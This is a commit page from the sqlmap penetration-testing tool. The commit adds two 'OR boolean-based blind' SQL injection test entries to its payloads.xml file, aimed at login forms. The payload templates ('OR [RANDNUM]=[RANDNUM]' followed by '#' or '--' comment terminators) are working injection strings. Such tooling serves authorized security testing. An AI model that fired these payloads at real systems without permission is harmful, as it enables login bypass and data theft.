sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-04-27 04:13:45 +03:00
Code Issues Packages Projects Releases Wiki Activity

Rudimental OR boolean-based tests for login forms

Browse Source
This commit is contained in:
Bernardo Damele 2010-12-03 22:58:35 +00:00
parent b3a094b9d6
commit 95a3f4b52f
1 changed files with 35 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

35
xml/payloads.xml
View File

@ -424,6 +424,41 @@ Formats:
<comparison>OR [RANDNUM]=[RANDNUM1]</comparison> <comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
</response> </response>
</test> </test>
<test>
<title>OR boolean-based blind - WHERE clause</title>
<stype>1</stype>
<level>4</level>
<risk>3</risk>
<clause>1</clause>
<where>1</where>
<request>
<payload>OR [RANDNUM]=[RANDNUM]</payload>
<comment>#</comment>
</request>
<response>
<comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
</response>
<details>
<dbms>MySQL</dbms>
</details>
</test>
<test>
<title>OR boolean-based blind - WHERE clause</title>
<stype>1</stype>
<level>4</level>
<risk>3</risk>
<clause>1</clause>
<where>1</where>
<request>
<payload>OR [RANDNUM]=[RANDNUM]</payload>
<comment>--</comment>
</request>
<response>
<comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
</response>
</test>
<!-- End of boolean-based blind tests - WHERE clause --> <!-- End of boolean-based blind tests - WHERE clause -->